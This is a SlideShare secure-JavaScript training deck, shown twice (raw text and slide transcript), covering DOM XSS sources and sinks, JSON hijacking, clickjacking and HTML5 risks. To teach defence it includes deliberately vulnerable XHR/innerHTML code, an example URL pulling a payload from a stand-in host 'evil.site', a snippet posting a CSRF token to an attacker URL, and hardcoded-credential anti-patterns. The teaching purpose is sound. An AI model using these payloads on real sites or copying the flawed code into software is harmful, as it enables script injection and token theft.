SlideShare a Scribd company logo
Secure JavaScript for
Developers
Trainer:
Lavakumar Kuppan
@lavakumark
http://www.andlabs.org
About
• Author of IronWASP and several other
tools
• Security Researcher
• Former Penetration Tester
• Recipient of Nullcon BlackShield
Luminaire Award
• Frequent Speaker at Security
Conferences
http://lavakumar.com
Research
Attack and Defense Labs
Repository of all Research and Tools
http://www.andlabs.org
HTML5 Security, Browser-side
Security
Topics of interest
#5 on Top 10 Web Hacks of 2010
CSRF-protection bypass using HPP and ClickJacking
Tools
IronWASP
Web Application Security Testing
Platform Ravan
JavaScript based Distributed
Computing System
JS-RECON
HTML5 based JavaScript Network
Recon Tool
Imposter
Browser Phishing Framework
Shell of the Future
XSS Reverse Web Shell
 Importance of JavaScript Security
 DOM based XSS
– Introduction
– Sources & Sinks
– Identifying DOM based XSS
– Mitigating DOM based XSS
– Lab Session
Outline
 JSON Security
– JSON Parsing
– JSON Hijacking
 Clickjacking Protection
– What doesn’t work
– What works
Outline (cont..)
 HTML5 Security
– Cross Origin Requests
– Client-side Persistent Storage
– postMessage
 Things to avoid doing in JavaScript
Outline (cont..)
Importance of JavaScript
Security
 JavaScript cannot have Security issues
 Secure Coding is a Server-side concern
 All my data is stored on the Server-side
 All critical actions are performed on the
Server-side
Myths
 JavaScript Security is as important as
Serve-side Security
 All Server-side Data can be accessed from
the browser with JavaScript
 All Server-side Functionality can be called
from the browser with JavaScript
 Client-side Storage is gaining prominence
(HTML5)
 Client-side logic is on the rise
Reality
DOM Based XSS
 Most important JavaScript Security issue
 Script Injection purely on the client-side
 Attacker controlled data injected in to the
DOM/JavaScript
 Involves a Source and a Sink
DOM Based XSS
 DOM Properties that can be influenced by
an attacker
 Types:
– Location based
– Client-side Storage based
– Navigation based
– Cross-domain
Source
 location
 location.hash
 location.href
 location.pathname
 location.search
 document.URL
 document.baseURI
 document.documentURI
 document. URLUnencoded
Location based Source
 document.cookie
 sessionStorage*
 localStorage*
 Web SQL Database*
 Indexed DB*
* HTML5
Client-side Storage Based
 window.name
 document.referrer
 history (HTML5)
Navigation Based
 postMessage*
 XHR call responses from 3rd party
JavaScript API
 JSON calls backs from 3rd party
JavaScript API
*HTML5
Cross-domain
 DOM Properties, JavaScript functions and
other client-side entities that can lead to or
influence client-side code execution
 Types:
– Execution based
– Url Based
– HTML Based
– Others
Sinks
 eval()
 Function()
 setTimeout()
 setInterval()
 execScript() (IE Only)
 crypto.generateCRMFRequest() (FF Only)
Execution Based
 location
 location.assign()
 location.replace()
 location.href
 location.protocol*
 location.search*
 location.hostname*
 location.pathname*
*Indirect impact
Url Based
 document.write()
 document.writeln()
 HTML Elements
 HTML Element Attributes
– ‘src’
– onclick, onload, onerror etc
– Form action
– href
HTML Based
 XHR Calls
– open()
– send()
– setRequestHeader()
 postMessage
 Client-side Storage
 JavaScript variables
Others
 JavaScript Static Analysis
– Identify Sources and Follow them in to Sinks
– Run Regex on JavaScript code
– IronWASP
 JavaScript Runtime Analysis
– Requires the execution of JavaScript in the page
– Alerts when Sources/Sinks are called during
execution
– Dominator
– DOM Snitch
Identifying DOM Based XSS
 Avoid Sources and Sinks as much as possible
 Perform rigorous white-list based filtering on
Sources
 Perform proper encoding before sending to Sink
 ESAPI4JS to help with encoding and filtering
Mitigating DOM Based XSS
 DOM XSS Wiki
http://code.google.com/p/domxsswiki
 DOM Snitch http://code.google.com/p/domsnitch
References
JSON Security
 Has become the standard format to send data to
JavaScript
 Subset of JavaScript
 Only a data format but :
– Improper JSON Parsing can lead to Security issues
– Improper formatting can lead to JSON Hijacking
JSON Security
 JSON data is sent as text from the server
 Must convert this to JavaScript object
 JSON.parse() is the right and safe way to do it
 Older browsers don’t support JSON.parse()
 So eval() is used instead
var js_obj = eval(‘(‘ + json_string + ‘)’)
 This is where the trouble begins
JSON Parsing
 If JSON data is user controlled/from 3rd party
then it is poisoned
 Calling eval() on such JSON leads to XSS
 Filtering & Encoding JSON string before calling
eval() does not help
 Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js instead
JavaScript Injected in to JSON
 Proper JSON Validation
http://blog.kotowicz.net/2011/08/death-to-filters-
how-to-validate-json.html
 JSON Validation Bypass
http://blog.mindedsecurity.com/2011/08/ye-olde-
crockford-json-regexp-is.html
References
 JSON is a sub-set of JavaScript
 JavaScript can be loaded and executed from
external websites
<script src=“http://www.google-analytics.com/urchin.js”>
 JSON can also be loaded by external websites
<script src=“http://victim.site/getUsers”>
 Structure of the JSON string will determine if
external sites can read it
JSON Hijacking
 [{“name”:”lava”}]
This is a JavaScript Array and can be hijacked by
external sites
If attacker controls some part of this string then UTF-7
data can be injected to improve attack’s effectiveness
 callback_function({“name”:”lava”})
This is a valid JavaScript function and can be hijacked
by external sites
Troublesome Formats
 JSON Hijacking
http://www.thespanner.co.uk/2011/05/30/json-
hijacking
References
 Safe JSON Format:
{“name”:”lava”}
 Safe JSON Parsing:
JSON.parse()
– Use https://github.com/douglascrockford/JSON-
js/blob/master/json_parse.js to emulate JSON.parse()
in older browsers
Safe JSON
ClickJacking Protection
 ClickJacking is performed by including the target
page in an iframe of another page
 Obvious solution appears to be to prevent the
page from loading in an iframe
 Most developers use FrameBusting for this
 Some use CSRF-tokens in the URL to prevent
this
ClickJacking Protection
 Relies on JavaScript
 Fail-open model
 Can be bypassed by:
– Double Framing
– Cancelling unload
– No-Content Flushing
– Abusing browser-based XSS Filters
– Iframe Sandboxing (HTML5)
Problems with Framebusting approach
 CSRF-token in URL is set by the server
 But there must be some initial URL which does
not have this token
 This URL is usually the home page that the user
types in the Address bar
 Attacker can include this page in iframe and
ClickJack his way through to the target page
Problems with CSRF-tokens in URL approach
 On server-side use X-FRAME-OPTIONS header
 On the client-side use a fail-close model to
framebusting
 By default the page must be unusable – Set the
CSS ‘display’ property to ‘none‘
 If the page is no in an iframe the set ‘display’ to
‘block’
 References:
OWASP ClickJacking Protection
https://www.owasp.org/index.php/Clickjacking
Best way to Mitigate ClickJacking
HTML5 Security
 Originally Ajax calls were subject to Same Origin
Policy
 Site A cannot make XMLHttpRequests to Site B
 HTML5 makes it possible to make these cross
domain calls
 Site A can now make XMLHttpRequests to Site
B as long as Site B allows it.
 Response from Site B should include a header:
 Access-Control-Allow-Origin: Site A
Cross Origin Requests
 Have you seen URLs like these:
http://www.example.com/#index.php
 Inside the page:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
Client-side File Includes
 This design though flawed was difficult to exploit
earlier
 Introducing Cross Origin Requests
http://example.com/#http://evil.site/payload.php
 Contents of ‘payload.php’ will be included as
HTML within <div id=“main”></div>
 New type of XSS!!
Client-side File Includes (contd..)
 COR makes XMLHttpRequest as a dangerous
DOM based XSS sink
 Responses of XHR are consumed in many
websites in different ways.
Eg: JSON, XML HTML
 Since this data is supposed to be from same
domain they are usually not validated
 Huge potential for XSS vulnerabilities
Client-side File Includes (contd..)
 Here the focus is not on the response of XHR
 But instead it is the request that matters
 Sites send a lot of sensitive data to the server
using XHR
 If the URL of the XHR is made to point to the
attacker’s website, then this data is sent to
attacker’s server
Eg: x = new XMLHttpRequest();
x.open(“POST",location.hash.substring(1));
x.send(“a=1&b=2&csrf-token=k34wo9s3l”);
Cross-site Posting
 HTML5 introduces several Persistent Client-side
Storage options:
– localStorage
– WebSQL
– IndexedDB
 Devs tempted to store sensitive data on client-
side
Eg: Offline Gmail stores the entire Inbox on the
client-side
 Storing data over HTTP is vulnerable to DNS
Spoofing attacks
Client-side Persistent Storage
 HTML5 API for sending/receiving data between
frames of different origins
 API has the option to explicitly mention the
target domain when sending message
 Don’t use ‘*’ to invalidate this security measure
 API has option to check the source of the
message
 Always perform this check before using the data
from external frames
 Don’t trust data from 3rd party, always validate it
postMessage
 HTML5 Quick Reference Guide
http://www.andlabs.org/html5.html
 Cross Origin Requests Security
http://code.google.com/p/html5security/wiki/Cros
sOriginRequestSecurity
 Web SQL Database Security
http://code.google.com/p/html5security/wiki/Web
SQLDatabaseSecurity
 Mozilla Developer Network – postMessage
https://developer.mozilla.org/en/DOM/window.po
stMessage
References
Things to avoid doing in JavaScript
 JavaScript runs in the user’s environment
 User has full control over it
 Impossible to prevent user from reading
JavaScript code
 Disabling right-click DOES NOT WORK
Some Basic Facts
if(user == “admin” && passwd = “s3cr3t”)
{
window.location = “admin.php”
}
else
{
window.location = “login.php”
}*
*Stop laughing, this is a real-life example
Authentication
var auth_result = check_creds(uname,pwd);
if(!auth_result)
{
failed_login_count++;
if(failed_login_count > 3)
{
document.cookie = “account_locked = 1”;
}
}
Security Controls
if(promo_code == “ER290U”)
{
discount_percent = 50;
}
else
{
discount_percent = 10;
}
Expose Business Logic or Sensitive Information
 Client-side only Validation
 Crypto, almost always a bad idea
 Storing sensitive data in client-side stores over
HTTP
 References:
Common Sense
Things to Avoid (contd..)

More Related Content

Secure java script-for-developers

  • 1. Secure JavaScript for Developers Trainer: Lavakumar Kuppan @lavakumark http://www.andlabs.org
  • 2. About • Author of IronWASP and several other tools • Security Researcher • Former Penetration Tester • Recipient of Nullcon BlackShield Luminaire Award • Frequent Speaker at Security Conferences http://lavakumar.com
  • 3. Research Attack and Defense Labs Repository of all Research and Tools http://www.andlabs.org HTML5 Security, Browser-side Security Topics of interest #5 on Top 10 Web Hacks of 2010 CSRF-protection bypass using HPP and ClickJacking
  • 4. Tools IronWASP Web Application Security Testing Platform Ravan JavaScript based Distributed Computing System JS-RECON HTML5 based JavaScript Network Recon Tool Imposter Browser Phishing Framework Shell of the Future XSS Reverse Web Shell
  • 5.  Importance of JavaScript Security  DOM based XSS – Introduction – Sources & Sinks – Identifying DOM based XSS – Mitigating DOM based XSS – Lab Session Outline
  • 6.  JSON Security – JSON Parsing – JSON Hijacking  Clickjacking Protection – What doesn’t work – What works Outline (cont..)
  • 7.  HTML5 Security – Cross Origin Requests – Client-side Persistent Storage – postMessage  Things to avoid doing in JavaScript Outline (cont..)
  • 9.  JavaScript cannot have Security issues  Secure Coding is a Server-side concern  All my data is stored on the Server-side  All critical actions are performed on the Server-side Myths
  • 10.  JavaScript Security is as important as Serve-side Security  All Server-side Data can be accessed from the browser with JavaScript  All Server-side Functionality can be called from the browser with JavaScript  Client-side Storage is gaining prominence (HTML5)  Client-side logic is on the rise Reality
  • 12.  Most important JavaScript Security issue  Script Injection purely on the client-side  Attacker controlled data injected in to the DOM/JavaScript  Involves a Source and a Sink DOM Based XSS
  • 13.  DOM Properties that can be influenced by an attacker  Types: – Location based – Client-side Storage based – Navigation based – Cross-domain Source
  • 14.  location  location.hash  location.href  location.pathname  location.search  document.URL  document.baseURI  document.documentURI  document. URLUnencoded Location based Source
  • 15.  document.cookie  sessionStorage*  localStorage*  Web SQL Database*  Indexed DB* * HTML5 Client-side Storage Based
  • 16.  window.name  document.referrer  history (HTML5) Navigation Based
  • 17.  postMessage*  XHR call responses from 3rd party JavaScript API  JSON calls backs from 3rd party JavaScript API *HTML5 Cross-domain
  • 18.  DOM Properties, JavaScript functions and other client-side entities that can lead to or influence client-side code execution  Types: – Execution based – Url Based – HTML Based – Others Sinks
  • 19.  eval()  Function()  setTimeout()  setInterval()  execScript() (IE Only)  crypto.generateCRMFRequest() (FF Only) Execution Based
  • 20.  location  location.assign()  location.replace()  location.href  location.protocol*  location.search*  location.hostname*  location.pathname* *Indirect impact Url Based
  • 21.  document.write()  document.writeln()  HTML Elements  HTML Element Attributes – ‘src’ – onclick, onload, onerror etc – Form action – href HTML Based
  • 22.  XHR Calls – open() – send() – setRequestHeader()  postMessage  Client-side Storage  JavaScript variables Others
  • 23.  JavaScript Static Analysis – Identify Sources and Follow them in to Sinks – Run Regex on JavaScript code – IronWASP  JavaScript Runtime Analysis – Requires the execution of JavaScript in the page – Alerts when Sources/Sinks are called during execution – Dominator – DOM Snitch Identifying DOM Based XSS
  • 24.  Avoid Sources and Sinks as much as possible  Perform rigorous white-list based filtering on Sources  Perform proper encoding before sending to Sink  ESAPI4JS to help with encoding and filtering Mitigating DOM Based XSS
  • 25.  DOM XSS Wiki http://code.google.com/p/domxsswiki  DOM Snitch http://code.google.com/p/domsnitch References
  • 27.  Has become the standard format to send data to JavaScript  Subset of JavaScript  Only a data format but : – Improper JSON Parsing can lead to Security issues – Improper formatting can lead to JSON Hijacking JSON Security
  • 28.  JSON data is sent as text from the server  Must convert this to JavaScript object  JSON.parse() is the right and safe way to do it  Older browsers don’t support JSON.parse()  So eval() is used instead var js_obj = eval(‘(‘ + json_string + ‘)’)  This is where the trouble begins JSON Parsing
  • 29.  If JSON data is user controlled/from 3rd party then it is poisoned  Calling eval() on such JSON leads to XSS  Filtering & Encoding JSON string before calling eval() does not help  Use https://github.com/douglascrockford/JSON- js/blob/master/json_parse.js instead JavaScript Injected in to JSON
  • 30.  Proper JSON Validation http://blog.kotowicz.net/2011/08/death-to-filters- how-to-validate-json.html  JSON Validation Bypass http://blog.mindedsecurity.com/2011/08/ye-olde- crockford-json-regexp-is.html References
  • 31.  JSON is a sub-set of JavaScript  JavaScript can be loaded and executed from external websites <script src=“http://www.google-analytics.com/urchin.js”>  JSON can also be loaded by external websites <script src=“http://victim.site/getUsers”>  Structure of the JSON string will determine if external sites can read it JSON Hijacking
  • 32.  [{“name”:”lava”}] This is a JavaScript Array and can be hijacked by external sites If attacker controls some part of this string then UTF-7 data can be injected to improve attack’s effectiveness  callback_function({“name”:”lava”}) This is a valid JavaScript function and can be hijacked by external sites Troublesome Formats
  • 34.  Safe JSON Format: {“name”:”lava”}  Safe JSON Parsing: JSON.parse() – Use https://github.com/douglascrockford/JSON- js/blob/master/json_parse.js to emulate JSON.parse() in older browsers Safe JSON
  • 36.  ClickJacking is performed by including the target page in an iframe of another page  Obvious solution appears to be to prevent the page from loading in an iframe  Most developers use FrameBusting for this  Some use CSRF-tokens in the URL to prevent this ClickJacking Protection
  • 37.  Relies on JavaScript  Fail-open model  Can be bypassed by: – Double Framing – Cancelling unload – No-Content Flushing – Abusing browser-based XSS Filters – Iframe Sandboxing (HTML5) Problems with Framebusting approach
  • 38.  CSRF-token in URL is set by the server  But there must be some initial URL which does not have this token  This URL is usually the home page that the user types in the Address bar  Attacker can include this page in iframe and ClickJack his way through to the target page Problems with CSRF-tokens in URL approach
  • 39.  On server-side use X-FRAME-OPTIONS header  On the client-side use a fail-close model to framebusting  By default the page must be unusable – Set the CSS ‘display’ property to ‘none‘  If the page is no in an iframe the set ‘display’ to ‘block’  References: OWASP ClickJacking Protection https://www.owasp.org/index.php/Clickjacking Best way to Mitigate ClickJacking
  • 41.  Originally Ajax calls were subject to Same Origin Policy  Site A cannot make XMLHttpRequests to Site B  HTML5 makes it possible to make these cross domain calls  Site A can now make XMLHttpRequests to Site B as long as Site B allows it.  Response from Site B should include a header:  Access-Control-Allow-Origin: Site A Cross Origin Requests
  • 42.  Have you seen URLs like these: http://www.example.com/#index.php  Inside the page: <html><body><script> x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html> Client-side File Includes
  • 43.  This design though flawed was difficult to exploit earlier  Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php  Contents of ‘payload.php’ will be included as HTML within <div id=“main”></div>  New type of XSS!! Client-side File Includes (contd..)
  • 44.  COR makes XMLHttpRequest as a dangerous DOM based XSS sink  Responses of XHR are consumed in many websites in different ways. Eg: JSON, XML HTML  Since this data is supposed to be from same domain they are usually not validated  Huge potential for XSS vulnerabilities Client-side File Includes (contd..)
  • 45.  Here the focus is not on the response of XHR  But instead it is the request that matters  Sites send a lot of sensitive data to the server using XHR  If the URL of the XHR is made to point to the attacker’s website, then this data is sent to attacker’s server Eg: x = new XMLHttpRequest(); x.open(“POST",location.hash.substring(1)); x.send(“a=1&b=2&csrf-token=k34wo9s3l”); Cross-site Posting
  • 46.  HTML5 introduces several Persistent Client-side Storage options: – localStorage – WebSQL – IndexedDB  Devs tempted to store sensitive data on client- side Eg: Offline Gmail stores the entire Inbox on the client-side  Storing data over HTTP is vulnerable to DNS Spoofing attacks Client-side Persistent Storage
  • 47.  HTML5 API for sending/receiving data between frames of different origins  API has the option to explicitly mention the target domain when sending message  Don’t use ‘*’ to invalidate this security measure  API has option to check the source of the message  Always perform this check before using the data from external frames  Don’t trust data from 3rd party, always validate it postMessage
  • 48.  HTML5 Quick Reference Guide http://www.andlabs.org/html5.html  Cross Origin Requests Security http://code.google.com/p/html5security/wiki/Cros sOriginRequestSecurity  Web SQL Database Security http://code.google.com/p/html5security/wiki/Web SQLDatabaseSecurity  Mozilla Developer Network – postMessage https://developer.mozilla.org/en/DOM/window.po stMessage References
  • 49. Things to avoid doing in JavaScript
  • 50.  JavaScript runs in the user’s environment  User has full control over it  Impossible to prevent user from reading JavaScript code  Disabling right-click DOES NOT WORK Some Basic Facts
  • 51. if(user == “admin” && passwd = “s3cr3t”) { window.location = “admin.php” } else { window.location = “login.php” }* *Stop laughing, this is a real-life example Authentication
  • 52. var auth_result = check_creds(uname,pwd); if(!auth_result) { failed_login_count++; if(failed_login_count > 3) { document.cookie = “account_locked = 1”; } } Security Controls
  • 53. if(promo_code == “ER290U”) { discount_percent = 50; } else { discount_percent = 10; } Expose Business Logic or Sensitive Information
  • 54.  Client-side only Validation  Crypto, almost always a bad idea  Storing sensitive data in client-side stores over HTTP  References: Common Sense Things to Avoid (contd..)